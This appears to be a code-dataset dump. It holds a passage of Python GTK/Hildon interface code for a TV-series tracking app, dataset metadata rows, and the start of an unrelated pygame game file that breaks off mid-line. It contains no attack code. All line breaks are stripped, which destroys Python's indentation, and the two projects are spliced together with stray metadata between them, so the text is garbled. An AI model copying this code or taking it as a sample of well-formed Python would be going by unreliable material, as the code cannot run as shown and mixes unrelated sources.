contents.pack_start(row, False, False, 0) contents_area = hildon.PannableArea() contents_area.add_with_viewport(contents) contents_area.set_size_request_policy(hildon.SIZE_REQUEST_CHILDREN) self.vbox.add(contents_area) self.vbox.show_all() def get_info(self): buffer = self.show_overview.get_buffer() start_iter = buffer.get_start_iter() end_iter = buffer.get_end_iter() overview_text = buffer.get_text(start_iter, end_iter) info = {'name': self.show_name.get_text(), 'overview': overview_text, 'genre': self.show_genre.get_text(), 'network': self.show_network.get_text(), 'rating': self.show_rating.get_text(), 'actors': self.show_actors.get_text()} return info class EditShowsDialog(NewShowDialog): def __init__(self, parent, show): super(EditShowsDialog, self).__init__(parent) self.show_name.set_text(show.name) self.show_overview.get_buffer().set_text(show.overview) self.show_genre.set_text(str(show.genre)) self.show_network.set_text(show.network) self.show_rating.set_text(show.rating) self.show_actors.set_text(str(show.actors)) class NewEpisodeDialog(gtk.Dialog): def __init__(self, parent, show): super(NewEpisodeDialog, self).__init__(parent = parent, buttons = (gtk.STOCK_ADD, gtk.RESPONSE_ACCEPT)) self.set_title(_('New episode')) self.episode_name = hildon.Entry(gtk.HILDON_SIZE_FINGER_HEIGHT) self.episode_overview = hildon.TextView() self.episode_overview.set_placeholder(_('Overview')) self.episode_overview.set_wrap_mode(gtk.WRAP_WORD) self.episode_number = hildon.PickerButton(gtk.HILDON_SIZE_FINGER_HEIGHT, hildon.BUTTON_ARRANGEMENT_VERTICAL) selector = hildon.TouchSelectorEntry(text = True) self.episode_number.set_title(_('Number:')) for i in xrange(20): selector.append_text(str(i + 1)) self.episode_number.set_selector(selector) self.episode_number.set_active(0) self.episode_season = hildon.PickerButton(gtk.HILDON_SIZE_FINGER_HEIGHT, hildon.BUTTON_ARRANGEMENT_VERTICAL) selector = hildon.TouchSelectorEntry(text = True) self.episode_season.set_title(_('Season:')) seasons = show.get_seasons() for season in seasons: selector.append_text(season) self.episode_season.set_selector(selector) if seasons: self.episode_season.set_active(len(seasons) - 1) else: selector.append_text('1') self.episode_season.set_active(0) self.episode_director = hildon.Entry(gtk.HILDON_SIZE_FINGER_HEIGHT) self.episode_writer = hildon.Entry(gtk.HILDON_SIZE_FINGER_HEIGHT) self.episode_air_date = hildon.Entry(gtk.HILDON_SIZE_FINGER_HEIGHT) self.episode_rating = hildon.Entry(gtk.HILDON_SIZE_FINGER_HEIGHT) self.episode_guest_stars = hildon.Entry(gtk.HILDON_SIZE_FINGER_HEIGHT) contents = gtk.VBox(False, 0) row = gtk.HBox(False, 12) row.pack_start(gtk.Label(_('Name:')), False, False, 0) row.pack_start(self.episode_name, True, True, 0) contents.pack_start(row, False, False, 0) contents.pack_start(self.episode_overview, False, False, 0) row = gtk.HBox(False, 12) row.add(self.episode_season) row.add(self.episode_number) contents.pack_start(row, False, False, 0) fields = [(_('Director:'), self.episode_director), (_('Writer:'), self.episode_writer), (_('Original air date:'), self.episode_air_date), (_('Rating:'), self.episode_rating), (_('Guest stars:'), self.episode_guest_stars), ] size_group = gtk.SizeGroup(gtk.SIZE_GROUP_BOTH) for text, widget in fields: row = gtk.HBox(False, 12) label = gtk.Label(text) size_group.add_widget(label) row.pack_start(label, False, False, 0) row.pack_start(widget, True, True, 0) contents.pack_start(row, False, False, 0) contents_area = hildon.PannableArea() contents_area.add_with_viewport(contents) contents_area.set_size_request_policy(hildon.SIZE_REQUEST_CHILDREN) self.vbox.add(contents_area) self.vbox.show_all() def get_info(self): buffer = self.episode_overview.get_buffer() start_iter = buffer.get_start_iter() end_iter = buffer.get_end_iter() overview_text = buffer.get_text(start_iter, end_iter) info = {'name': self.episode_name.get_text(), 'overview': overview_text, 'season': self.episode_season.get_selector().get_entry().get_text(), 'number': self.episode_number.get_selector().get_entry().get_text(), 'director': self.episode_director.get_text(), 'writer': self.episode_writer.get_text(), 'air_date': self.episode_air_date.get_text(), 'rating': self.episode_rating.get_text(), 'guest_stars': self.episode_guest_stars.get_text()} return info class EditEpisodeDialog(NewEpisodeDialog): def __init__(self, parent, episode): super(EditEpisodeDialog, self).__init__(parent, episode.show) self.episode_name.set_text(episode.name) self.episode_overview.get_buffer().set_text(episode.overview) self.episode_season.get_selector().get_entry().set_text(episode.season_number) self.episode_number.get_selector().get_entry().set_text(str(episode.episode_number)) self.episode_director.set_text(episode.director) self.episode_writer.set_text(str(episode.writer)) self.episode_air_date.set_text(str(episode.air_date)) self.episode_rating.set_text(episode.rating) self.episode_guest_stars.set_text(str(episode.guest_stars)) class EpisodesView(hildon.StackableWindow): EPISODES_LIST_CHANGED_SIGNAL = 'episode-list-changed' __gsignals__ = {EPISODES_LIST_CHANGED_SIGNAL: (gobject.SIGNAL_RUN_LAST, gobject.TYPE_NONE, ()), } def __init__(self, settings, show, season_number = None): super(EpisodesView, self).__init__() self.settings = Settings() self.series_manager = SeriesManager() self.show = show self.season_number = season_number self.set_title(self.show.name) self.episodes_check_view = EpisodesCheckView() self.episodes_check_view.set_episodes(self.show.get_episodes_by_season(self.season_number)) self.episodes_check_view.watched_renderer.connect('toggled', self._watched_renderer_toggled_cb, self.episodes_check_view.get_model()) self.episodes_check_view.connect('row-activated', self._row_activated_cb) episodes_area = hildon.PannableArea() episodes_area.add(self.episodes_check_view) self.add(episodes_area) self.set_app_menu(self._create_menu()) if self.settings.getConf(self.settings.EPISODES_ORDER_CONF_NAME) == \ self.settings.ASCENDING_ORDER: self._sort_ascending_cb(None) else: self._sort_descending_cb(None) def _create_menu(self): menu = hildon.AppMenu() button_asc = hildon.GtkRadioButton(gtk.HILDON_SIZE_FINGER_HEIGHT) button_asc.set_mode(False) button_asc.set_label(_('A-Z')) menu.add_filter(button_asc) button_desc = hildon.GtkRadioButton(gtk.HILDON_SIZE_FINGER_HEIGHT, group = button_asc) button_desc.set_mode(False) button_desc.set_label(_('Z-A')) menu.add_filter(button_desc) if self.settings.getConf(Settings.EPISODES_ORDER_CONF_NAME) == \ Settings.ASCENDING_ORDER: button_asc.set_active(True) else: button_desc.set_active(True) button_asc.connect('clicked', self._sort_ascending_cb) button_desc.connect('clicked', self._sort_descending_cb) button = hildon.GtkButton(gtk.HILDON_SIZE_FINGER_HEIGHT) button.set_label(_('Mark all')) button.connect('clicked', self._select_all_cb) menu.append(button) button = hildon.GtkButton(gtk.HILDON_SIZE_FINGER_HEIGHT) button.set_label(_('Mark none')) button.connect('clicked', self._select_none_cb) menu.append(button) button = hildon.GtkButton(gtk.HILDON_SIZE_FINGER_HEIGHT) button.set_label(_('Delete episodes')) button.connect('clicked', self._delete_episodes_cb) menu.append(button) menu.show_all() return menu def _delete_episodes_cb(self, button): delete_episodes_view = EpisodesDeleteView(self.show) episodes = self.show.get_episodes_by_season(self.season_number) delete_episodes_view.episodes_select_view.set_episodes(episodes) delete_episodes_view.toolbar.connect('button-clicked', self._update_episodes_list_cb) delete_episodes_view.show_all() def _select_all_cb(self, button): self.episodes_check_view.select_all() def _select_none_cb(self, button): self.episodes_check_view.select_none() def _row_activated_cb(self, view, path, column): episode = self.episodes_check_view.get_episode_from_path(path) if self.episodes_check_view.get_column(EpisodeListStore.INFO_COLUMN) == column: episodes_view = EpisodeView(episode) episodes_view.connect('delete-event', self._update_episodes_list_cb) episodes_view.show_all() def _update_episodes_list_cb(self, widget, event = None): self.emit(self.EPISODES_LIST_CHANGED_SIGNAL) episodes = self.show.get_episodes_by_season(self.season_number) if episodes: self.episodes_check_view.set_episodes(episodes) else: self.destroy() return False def _watched_renderer_toggled_cb(self, renderer, path, model): episode = self.episodes_check_view.get_episode_from_path(path) episode.watched = not episode.watched episode.updated() model[path][model.CHECK_COLUMN] = episode.watched model.update_iter(model.get_iter(path)) def _sort_ascending_cb(self, button): self.episodes_check_view.sort_ascending() self.settings.setConf(self.settings.EPISODES_ORDER_CONF_NAME, self.settings.ASCENDING_ORDER) def _sort_descending_cb(self, button): self.episodes_check_view.sort_descending() self.settings.setConf(self.settings.EPISODES_ORDER_CONF_NAME, self.settings.DESCENDING_ORDER) class EpisodeListStore(gtk.ListStore): CHECK_COLUMN = 0 INFO_COLUMN = 1 EPISODE_COLUMN = 2 def __init__(self): EpisodeListStore.CHECK_COLUMN = Settings().getConf(Settings.EPISODES_CHECK_POSITION) EpisodeListStore.INFO_COLUMN = 1 - EpisodeListStore.CHECK_COLUMN types = {self.CHECK_COLUMN: bool, self.INFO_COLUMN: str, self.EPISODE_COLUMN: gobject.TYPE_PYOBJECT} super(EpisodeListStore, self).__init__(*types.values()) def add(self, episode_list): self.clear() for episode in episode_list: name = str(episode) row = {self.CHECK_COLUMN: episode.watched, self.INFO_COLUMN: saxutils.escape(str(name)), self.EPISODE_COLUMN: episode} self.append(row.values()) self.update() def update(self): iter = self.get_iter_root() while iter: next_iter = self.iter_next(iter) self.update_iter(iter) iter = next_iter def update_iter(self, iter): episode = self.get_value(iter, self.EPISODE_COLUMN) info = episode.get_info_markup() self.set_value(iter, self.INFO_COLUMN, info) class EpisodesCheckView(gtk.TreeView): def __init__(self): super(EpisodesCheckView, self).__init__() model = EpisodeListStore() episode_renderer = gtk.CellRendererText() episode_renderer.set_property('ellipsize', pango.ELLIPSIZE_END) column = gtk.TreeViewColumn('Name', episode_renderer, markup = model.INFO_COLUMN) column.set_property('expand', True) self.append_column(column) self.watched_renderer = gtk.CellRendererToggle() self.watched_renderer.set_property('width', 100) self.watched_renderer.set_property('activatable', True) column = gtk.TreeViewColumn('Watched', self.watched_renderer) column.add_attribute(self.watched_renderer, "active", model.CHECK_COLUMN) self.insert_column(column, model.CHECK_COLUMN) self.set_model(model) self.get_model().set_sort_func(2, self._sort_func) def _sort_func(self, model, iter1, iter2): episode1 = model.get_value(iter1, model.EPISODE_COLUMN) episode2 = model.get_value(iter2, model.EPISODE_COLUMN) if episode1 == None or episode2 == None: return 0 if episode1.episode_number < episode2.episode_number: return -1 return 1 def set_episodes(self, episode_list): model = self.get_model() model.add(episode_list) def get_episode_from_path(self, path): model = self.get_model() iter = model.get_iter(path) episode = model.get_value(iter, model.EPISODE_COLUMN) return episode def sort_descending(self): model = self.get_model() model.set_sort_column_id(model.EPISODE_COLUMN, gtk.SORT_DESCENDING) def sort_ascending(self): model = self.get_model() model.set_sort_column_id(model.EPISODE_COLUMN, gtk.SORT_ASCENDING) def select_all(self): self._set_episodes_selection(True) self.get_model().update() def select_none(self): self._set_episodes_selection(False) self.get_model().update() def _set_episodes_selection(self, mark): model = self.get_model() for path in model or []: path[model.CHECK_COLUMN] = \ path[model.EPISODE_COLUMN].watched = mark path[model.EPISODE_COLUMN].updated() class EpisodeView(hildon.StackableWindow): def __init__(self, episode): super(EpisodeView, self).__init__() self.episode = episode self.set_app_menu(self._create_menu()) contents_area = hildon.PannableArea() contents_area.connect('horizontal-movement', self._horizontal_movement_cb) contents = gtk.VBox(False, 0) contents_area.add_with_viewport(contents) self.infotextview = InfoTextView() self._update_info_text_view() contents.add(self.infotextview) self.add(contents_area) def _update_info_text_view(self): self.infotextview.clear() self._set_episode_title() self.check_button.set_active(self.episode.watched) self.infotextview.add_field(self.episode.overview) self.infotextview.add_field('\n') self.infotextview.add_field(self.episode.get_air_date_text(), _('Original air date')) self.infotextview.add_field(self.episode.director, _('Director')) self.infotextview.add_field(self.episode.writer, _('Writer')) self.infotextview.add_field(self.episode.guest_stars, _('Guest stars')) self.infotextview.add_field(self.episode.rating, _('Rating')) self.set_title(self.episode.name) def _set_episode_title(self): self.infotextview.set_title('%(number)s - %(name)s' % {'name': self.episode.name, 'number': self.episode.get_episode_show_number()}, self.episode.watched) def _create_menu(self): menu = hildon.AppMenu() button = hildon.GtkButton(gtk.HILDON_SIZE_FINGER_HEIGHT) button.set_label(_('Edit info')) button.connect('clicked', self._edit_episode_cb) menu.append(button) self.check_button = hildon.CheckButton(gtk.HILDON_SIZE_FINGER_HEIGHT) self.check_button.set_label(_('Watched')) self.check_button.set_active(self.episode.watched) self.check_button.connect('toggled', self._watched_button_toggled_cb) menu.append(self.check_button) menu.show_all() return menu def _edit_episode_cb(self, button): edit_episode_dialog = EditEpisodeDialog(self, self.episode) response = edit_episode_dialog.run() if response == gtk.RESPONSE_ACCEPT: episode_info = edit_episode_dialog.get_info() self.episode.name = episode_info['name'] self.episode.overview = episode_info['overview'] self.episode.season_number = episode_info['season'] self.episode.episode_number = episode_info['number'] self.episode.air_date = episode_info['air_date'] self.episode.director = episode_info['director'] self.episode.writer = episode_info['writer'] self.episode.rating = episode_info['rating'] self.episode.guest_stars = episode_info['guest_stars'] self.episode.updated() self._update_info_text_view() edit_episode_dialog.destroy() def _horizontal_movement_cb(self, pannable_area, direction, initial_x, initial_y): if direction == hildon.MOVEMENT_LEFT: episode = self.episode.show.get_next_episode(self.episode) else: episode = self.episode.show.get_previous_episode(self.episode) if episode: self.episode = episode self._update_info_text_view() def _watched_button_toggled_cb(self, button): self.episode.watched = button.get_active() self.episode.updated() self._set_episode_title() class EpisodesDeleteView(DeleteView): def __init__(self, show): self.episodes_select_view = EpisodesSelectView() super(EpisodesDeleteView, self).__init__(self.episodes_select_view, _('Delete episodes'), _('Delete')) self.show = show self.toolbar.connect('button-clicked', self._button_clicked_cb) def _button_clicked_cb(self, button): selection = self.episodes_select_view.get_selection() selected_rows = selection.get_selected_rows() model, paths = selected_rows if not paths: show_information(self, _('Please select one or more episodes')) return for path in paths: self.show.delete_episode(model[path][1]) self.destroy() class EpisodesSelectView(gtk.TreeView): def __init__(self): super(EpisodesSelectView, self).__init__() model = gtk.ListStore(str, gobject.TYPE_PYOBJECT) column = gtk.TreeViewColumn('Name', gtk.CellRendererText(), text = 0) self.append_column(column) self.set_model(model) def set_episodes(self, episode_list): model = self.get_model() model.clear() for episode in episode_list: name = str(episode) model.append([name, episode]) def get_episode_from_path(self, path): model = self.get_model() iter = model.get_iter(path) episode = model.get_value(iter, 1) return episode class InfoTextView(hildon.TextView): TEXT_TAG = 'title' def __init__(self): super(InfoTextView, self).__init__() buffer = gtk.TextBuffer() self.set_buffer(buffer) self.set_wrap_mode(gtk.WRAP_WORD) self.set_editable(False) self.set_cursor_visible(False) def set_title(self, title, strike = False): if not title: return text_buffer = self.get_buffer() tag_table = text_buffer.get_tag_table() title_tag = tag_table.lookup(self.TEXT_TAG) if not title_tag: title_tag = gtk.TextTag(self.TEXT_TAG) tag_table.add(title_tag) else: title_end_iter = text_buffer.get_start_iter() if not title_end_iter.forward_to_tag_toggle(title_tag): title_end_iter = text_buffer.get_start_iter() text_buffer.delete(text_buffer.get_start_iter(), title_end_iter) title_tag.set_property('weight', pango.WEIGHT_BOLD) title_tag.set_property('size', pango.units_from_double(24.0)) title_tag.set_property('underline-set', True) title_tag.set_property('strikethrough', strike) text_buffer.insert_with_tags(text_buffer.get_start_iter(), str(title) + '\n', title_tag) def add_field(self, contents, label = None): if not contents: return if label: contents = _('\n%(label)s: %(contents)s') % {'label': label, 'contents': contents, } self.get_buffer().insert(self.get_buffer().get_end_iter(), contents) def clear(self): buffer = self.get_buffer() if not buffer: return buffer.delete(buffer.get_start_iter(), buffer.get_end_iter()) class LiveSearchEntry(gtk.HBox): def __init__(self, tree_model, tree_filter, filter_column = 0): super(LiveSearchEntry, self).__init__() self.tree_model = tree_model self.tree_filter = tree_filter if not self.tree_model or not self.tree_filter: return self.filter_column = filter_column self.tree_filter.set_visible_func(self._tree_filter_func) self.entry = hildon.Entry(gtk.HILDON_SIZE_FINGER_HEIGHT) self.entry.set_input_mode(gtk.HILDON_GTK_INPUT_MODE_FULL) self.entry.show() self.entry.connect('changed', self._entry_changed_cb) self.cancel_button = gtk.ToolButton() image = gtk.image_new_from_icon_name('general_close', gtk.ICON_SIZE_LARGE_TOOLBAR) if image: self.cancel_button.set_icon_widget(image) else: self.cancel_button.set_label(_('Cancel')) self.cancel_button.set_size_request(self.cancel_button.get_size_request()[1], -1) self.cancel_button.show() self.cancel_button.connect('clicked', self._cancel_button_clicked_cb) self.pack_start(self.entry) self.pack_start(self.cancel_button, False, False) def _cancel_button_clicked_cb(self, button): self.hide() self.entry.set_text('') def _tree_filter_func(self, model, iter): info = model.get_value(iter, self.filter_column) or '' text_to_filter = self.entry.get_text().strip() if not text_to_filter: return True expr = re.compile('(.*\s+)*(%s)' % re.escape(text_to_filter.lower())) if expr.match(info): return True return False def _entry_changed_cb(self, entry): self.tree_filter.refilter() if not entry.get_text(): self.hide() def show(self): gtk.HBox.show(self) self.entry.grab_focus() def hide(self): gtk.HBox.hide(self) self.entry.set_text('') class NewShowsDialog(gtk.Dialog): ADD_AUTOMATICALLY_RESPONSE = 1 << 0 ADD_MANUALLY_RESPONSE = 1 << 1 def __init__(self, parent): super(NewShowsDialog, self).__init__(parent = parent) self.set_title(_('Add shows')) contents = gtk.HBox(True, 0) self.search_shows_button = hildon.GtkButton(gtk.HILDON_SIZE_FINGER_HEIGHT) self.search_shows_button.set_label(_('Search shows')) self.search_shows_button.connect('clicked', self._button_clicked_cb) self.manual_add_button = hildon.GtkButton(gtk.HILDON_SIZE_FINGER_HEIGHT) self.manual_add_button.set_label(_('Add manually')) self.manual_add_button.connect('clicked', self._button_clicked_cb) contents.add(self.search_shows_button) contents.add(self.manual_add_button) self.vbox.add(contents) self.vbox.show_all() parent.connection_manager.connect('connection-changed', self._on_connection_changed) self._on_connection_changed(parent.connection_manager) def _button_clicked_cb(self, button): if button == self.search_shows_button: self.response(self.ADD_AUTOMATICALLY_RESPONSE) elif button == self.manual_add_button: self.response(self.ADD_MANUALLY_RESPONSE) def _on_connection_changed(self, connection_manager): if connection_manager.is_online(): self.search_shows_button.show() else: self.search_shows_button.hide() class FoundShowListStore(gtk.ListStore): NAME_COLUMN = 0 MARKUP_COLUMN = 1 def __init__(self): super(FoundShowListStore, self).__init__(str, str) def add_shows(self, shows): self.clear() for name in shows: markup_name = saxutils.escape(str(name)) if self.series_manager.get_show_by_name(name): row = {self.NAME_COLUMN: name, self.MARKUP_COLUMN: '<span foreground="%s">%s</span>' % \ (get_color(constants.ACTIVE_TEXT_COLOR), markup_name)} else: row = {self.NAME_COLUMN: name, self.MARKUP_COLUMN: '<span>%s</span>' % markup_name} self.append(row.values()) class SearchShowsDialog(gtk.Dialog): def __init__(self, parent, series_manager, settings): super(SearchShowsDialog, self).__init__(parent = parent) self.set_title(_('Search shows')) self.series_manager = series_manager self.series_manager.connect('search-shows-complete', self._search_shows_complete_cb) self.settings = settings self.connect('response', self._response_cb) self.chosen_show = None self.chosen_lang = None self.shows_view = hildon.GtkTreeView(gtk.HILDON_UI_MODE_EDIT) model = FoundShowListStore() model.series_manager = series_manager show_renderer = gtk.CellRendererText() show_renderer.set_property('ellipsize', pango.ELLIPSIZE_END) column = gtk.TreeViewColumn('Name', show_renderer, markup = model.MARKUP_COLUMN) self.shows_view.set_model(model) self.shows_view.append_column(column) self.search_entry = hildon.Entry(gtk.HILDON_SIZE_FINGER_HEIGHT) self.search_entry.connect('changed', self._search_entry_changed_cb) self.search_entry.connect('activate', self._search_entry_activated_cb) self.search_button = hildon.GtkButton(gtk.HILDON_SIZE_FINGER_HEIGHT) self.search_button.set_label(_('Search')) self.search_button.connect('clicked', self._search_button_clicked) self.search_button.set_sensitive(False) self.search_button.set_size_request(150, -1) search_contents = gtk.HBox(False, 0) search_contents.pack_start(self.search_entry, True, True, 0) search_contents.pack_start(self.search_button, False, False, 0) self.vbox.pack_start(search_contents, False, False, 0) self.lang_store = gtk.ListStore(str, str); for langid, langdesc in self.series_manager.get_languages().iteritems(): self.lang_store.append([langid, langdesc]) lang_button = hildon.PickerButton(gtk.HILDON_SIZE_AUTO, hildon.BUTTON_ARRANGEMENT_VERTICAL) lang_button.set_title(_('Language')) self.lang_selector = hildon.TouchSelector() lang_column = self.lang_selector.append_column(self.lang_store, gtk.CellRendererText(), text=1) lang_column.set_property("text-column", 1) self.lang_selector.set_column_selection_mode(hildon.TOUCH_SELECTOR_SELECTION_MODE_SINGLE) lang_button.set_selector(self.lang_selector) try: self.lang_selector.set_active(0, self.series_manager.get_languages().keys().index(self.settings.getConf(Settings.SEARCH_LANGUAGE))) except ValueError: pass lang_button.connect('value-changed', self._language_changed_cb) shows_area = hildon.PannableArea() shows_area.add(self.shows_view) shows_area.set_size_request_policy(hildon.SIZE_REQUEST_CHILDREN) self.vbox.add(shows_area) self.action_area.pack_start(lang_button, True, True, 0) self.ok_button = self.add_button(gtk.STOCK_OK, gtk.RESPONSE_ACCEPT) self.ok_button.set_sensitive(False) self.action_area.show_all() self.vbox.show_all() self.set_size_request(-1, 400) def _language_changed_cb(self, button): self.settings.setConf(Settings.SEARCH_LANGUAGE, self.lang_store[button.get_active()][0]) def _search_entry_changed_cb(self, entry): enable = self.search_entry.get_text().strip() self.search_button.set_sensitive(bool(enable)) def _search_entry_activated_cb(self, entry): self._search() def _search_button_clicked(self, button): self._search() def _search(self): self._set_controls_sensitive(False) hildon.hildon_gtk_window_set_progress_indicator(self, True) search_terms = self.search_entry.get_text() if not self.search_entry.get_text(): return selected_row = self.lang_selector.get_active(0) if selected_row < 0: self.series_manager.search_shows(search_terms) else: lang = self.lang_store[selected_row][0] self.series_manager.search_shows(search_terms, lang) def _search_shows_complete_cb(self, series_manager, shows, error): if error: error_message = '' if 'socket' in str(error).lower(): error_message = '\n ' + _('Please verify your internet connection ' 'is available') show_information(self, _('An error occurred. %s') % error_message) else: model = self.shows_view.get_model() if not model: return model.clear() if shows: model.add_shows(shows) self.ok_button.set_sensitive(True) else: self.ok_button.set_sensitive(False) hildon.hildon_gtk_window_set_progress_indicator(self, False) self._set_controls_sensitive(True) def _set_controls_sensitive(self, sensitive): self.search_entry.set_sensitive(sensitive) self.search_button.set_sensitive(sensitive) def _response_cb(self, dialog, response): selection = self.shows_view.get_selection() model, paths = selection.get_selected_rows() for path in paths: iter = model.get_iter(path) text = model.get_value(iter, model.NAME_COLUMN) self.chosen_show = text selected_lang = self.lang_selector.get_active(0) if selected_lang >= 0: self.chosen_lang = self.lang_store[self.lang_selector.get_active(0)][0] class AboutDialog(gtk.Dialog): PADDING = 5 def __init__(self, parent): super(AboutDialog, self).__init__(parent = parent, flags = gtk.DIALOG_DESTROY_WITH_PARENT) self._logo = gtk.Image() self._name = '' self._name_label = gtk.Label() self._version = '' self._comments_label = gtk.Label() self._copyright_label = gtk.Label() self._license_label = gtk.Label() _license_alignment = gtk.Alignment(0, 0, 0, 1) _license_alignment.add(self._license_label) self._license_label.set_line_wrap(True) self._writers_caption = gtk.Label() self._writers_caption.set_markup('<b>%s</b>' % _('Authors:')) _writers_caption = gtk.Alignment() _writers_caption.add(self._writers_caption) self._writers_label = gtk.Label() self._writers_contents = gtk.VBox(False, 0) self._writers_contents.pack_start(_writers_caption) _writers_alignment = gtk.Alignment(0.2, 0, 0, 1) _writers_alignment.add(self._writers_label) self._writers_contents.pack_start(_writers_alignment) _contents = gtk.VBox(False, 0) _contents.pack_start(self._logo, False, False, self.PADDING) _contents.pack_start(self._name_label, False, False, self.PADDING) _contents.pack_start(self._comments_label, False, False, self.PADDING) _contents.pack_start(self._copyright_label, False, False, self.PADDING) _contents.pack_start(self._writers_contents, False, False, self.PADDING) _contents.pack_start(_license_alignment, False, False, self.PADDING) _contents_area = hildon.PannableArea() _contents_area.add_with_viewport(_contents) _contents_area.set_size_request_policy(hildon.SIZE_REQUEST_CHILDREN) self.vbox.add(_contents_area) self.vbox.show_all() self._writers_contents.hide() def set_logo(self, logo_path): self._logo.set_from_file(logo_path) def set_name(self, name): self._name = name self.set_version(self._version) self.set_title(_('About %s') % self._name) def _set_name_label(self, name): self._name_label.set_markup('<big>%s</big>' % name) def set_version(self, version): self._version = version self._set_name_label('%s %s' % (self._name, self._version)) def set_comments(self, comments): self._comments_label.set_text(comments) def set_copyright(self, copyright): self._copyright_label.set_markup('<small>%s</small>' % copyright) def set_license(self, license): self._license_label.set_markup('<b>%s</b>\n<small>%s</small>' % \ (_('License:'), license)) def set_authors(self, authors_list): authors = '\n'.join(authors_list) self._writers_label.set_text(authors) self._writers_contents.show_all() class SettingsDialog(gtk.Dialog): def __init__(self, parent): super(SettingsDialog, self).__init__(parent = parent, title = _('Settings'), flags = gtk.DIALOG_DESTROY_WITH_PARENT, buttons = (gtk.STOCK_SAVE, gtk.RESPONSE_ACCEPT)) self.settings = Settings() self.vbox.pack_start(self._create_screen_rotation_settings()) self.vbox.pack_start(self._create_shows_settings()) self.vbox.pack_start(self._create_episodes_check_settings()) self.vbox.show_all() def _create_screen_rotation_settings(self): picker_button = hildon.PickerButton(gtk.HILDON_SIZE_FINGER_HEIGHT, hildon.BUTTON_ARRANGEMENT_HORIZONTAL) picker_button.set_alignment(0, 0.5, 0, 1) picker_button.set_done_button_text(_('Done')) selector = hildon.TouchSelector(text = True) picker_button.set_title(_('Screen rotation:')) modes = [_('Automatic'), _('Portrait'), _('Landscape')] for mode in modes: selector.append_text(mode) picker_button.set_selector(selector) picker_button.set_active(self.settings.getConf(Settings.SCREEN_ROTATION)) picker_button.connect('value-changed', self._screen_rotation_picker_button_changed_cb) return picker_button def _create_shows_settings(self): check_button = hildon.CheckButton(gtk.HILDON_SIZE_FINGER_HEIGHT) check_button.set_label(_('Add special seasons')) check_button.set_active(self.settings.getConf(Settings.ADD_SPECIAL_SEASONS)) check_button.connect('toggled', self._special_seasons_check_button_toggled_cb) return check_button def _create_episodes_check_settings(self): picker_button = hildon.PickerButton(gtk.HILDON_SIZE_FINGER_HEIGHT, hildon.BUTTON_ARRANGEMENT_HORIZONTAL) picker_button.set_title(_('Episodes check position:')) picker_button.set_alignment(0, 0.5, 0, 1) selector = hildon.TouchSelector(text = True) selector.append_text(_('Left')) selector.append_text(_('Right')) picker_button.set_selector(selector) picker_button.set_active(self.settings.getConf(Settings.EPISODES_CHECK_POSITION)) picker_button.connect('value-changed', self._episodes_check_picker_button_changed_cb) return picker_button def _special_seasons_check_button_toggled_cb(self, button): self.settings.setConf(Settings.ADD_SPECIAL_SEASONS, button.get_active()) def _screen_rotation_picker_button_changed_cb(self, button): self.settings.setConf(Settings.SCREEN_ROTATION, button.get_active()) def _episodes_check_picker_button_changed_cb(self, button): self.settings.setConf(Settings.EPISODES_CHECK_POSITION, button.get_active()) def show_information(parent, message): hildon.hildon_banner_show_information(parent, '', message) def pixbuf_is_cover(pixbuf): if pixbuf: return not bool(pixbuf.get_data('is_placeholder')) return False def get_downloading_pixbuf(): pixbuf = gtk.gdk.pixbuf_new_from_file_at_size(constants.DOWNLOADING_IMAGE, constants.IMAGE_WIDTH, constants.IMAGE_HEIGHT) pixbuf.set_data('is_placeholder', True) return pixbuf def get_placeholder_pixbuf(): pixbuf = gtk.gdk.pixbuf_new_from_file_at_size(constants.PLACEHOLDER_IMAGE, constants.IMAGE_WIDTH, constants.IMAGE_HEIGHT) pixbuf.set_data('is_placeholder', True) return pixbuf
UTF-8
Python
false
false
2,012
171,798,697,426
7817c762825d308a4fc327ab3ac1fba00b7ef39c
a7bbbff6e4f1f011441b24b21d9334b6ad1001a1
/ld28.py
9a93dbe947d232883f4bb5198a634261b415c911
[]
no_license
adahera222/LD28-2
https://github.com/adahera222/LD28-2
e069f90517171320099dc1ac4e9afeca49e7c414
9048bbbb15159860fc8a681a2ad48c00fa9b71c5
refs/heads/master
2021-01-12T20:15:33.197935
2013-12-16T01:41:50
2013-12-16T01:41:50
null
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
#!/usr/bin/env python import os.path, random, operator, math # import basic pygame modules import pygame from pygame.locals import * # game constants SCREENRECT = Rect(0, 0, 1920, 1080) MAX_SHOTS = 1 ENEMY_RELOAD = 20 ENEMY_ODDS = 25 SCORE = 0 BOMB_ODDS = 10 main_dir = os.path.split(os.path.abspath(__file__))[0] def load_image(file): "loads an image, prepares it for play" file = os.path.join(main_dir, 'data', file) try: surface = pygame.image.load(file) except pygame.error: raise SystemExit('Could not load image "%s" %s'%(file, pygame.get_error())) return surface.convert() def load_images(*files): imgs = [] for file in files: imgs.append(load_image(file)) return imgs class dummysound: def play(self): pass def load_sound(file): if not pygame.mixer: return dummysound() file = os.path.join(main_dir, 'data', file) try: sound = pygame.mixer.Sound(file) return sound except pygame.error: print ('Warning, unable to load, %s' % file) return dummysound() class Player(pygame.sprite.Sprite): speed = 10 images = [] def __init__(self): pygame.sprite.Sprite.__init__(self, self.containers) self.image = self.images[0] self.rect = self.image.get_rect(midbottom=SCREENRECT.midbottom) self.reloading = 0 self.origtop = self.rect.top self.facing = -1 self.padding = 32 self.hitbox = pygame.Rect(map(operator.add, self.rect, (self.padding, self.padding, -self.padding*2, -self.padding*2))) def update(self): self.hitbox = pygame.Rect(map(operator.add, self.rect, (self.padding, self.padding, -self.padding*2, -self.padding*2))) def move(self, direction): self.rect.move_ip(direction[0]*self.speed, direction[1]*self.speed) self.rect = self.rect.clamp(SCREENRECT) class Shot(pygame.sprite.Sprite): speed = -11 images = [] def __init__(self, pos, t=None): pygame.sprite.Sprite.__init__(self, self.containers) self.image = self.images[0] self.rect = self.image.get_rect(midbottom=pos) self.homing = False if (t == None) else True self.target = t def update(self): if self.homing and self.target != None: dx = self.target.rect.x + self.target.rect.width/2 - self.rect.x - self.rect.width/2 if (dx > 0): dx = min(dx, math.fabs(self.speed)) else: dx = max(dx, -math.fabs(self.speed)) self.rect.move_ip(dx, self.speed) else: self.rect.move_ip(0, self.speed) if self.rect.top <= 0: self.speed = math.fabs(self.speed) self.homing = True if self.rect.bottom >= SCREENRECT.height: self.speed = -math.fabs(self.speed) self.rect = self.rect.clamp(SCREENRECT) class Enemy(pygame.sprite.Sprite): speed = 10 animcycle = 12 images = [] def __init__(self): pygame.sprite.Sprite.__init__(self, self.containers) self.image = self.images[0] self.rect = self.image.get_rect() self.facing = random.choice((-1,1)) * Enemy.speed self.ydir = 1 if self.facing < 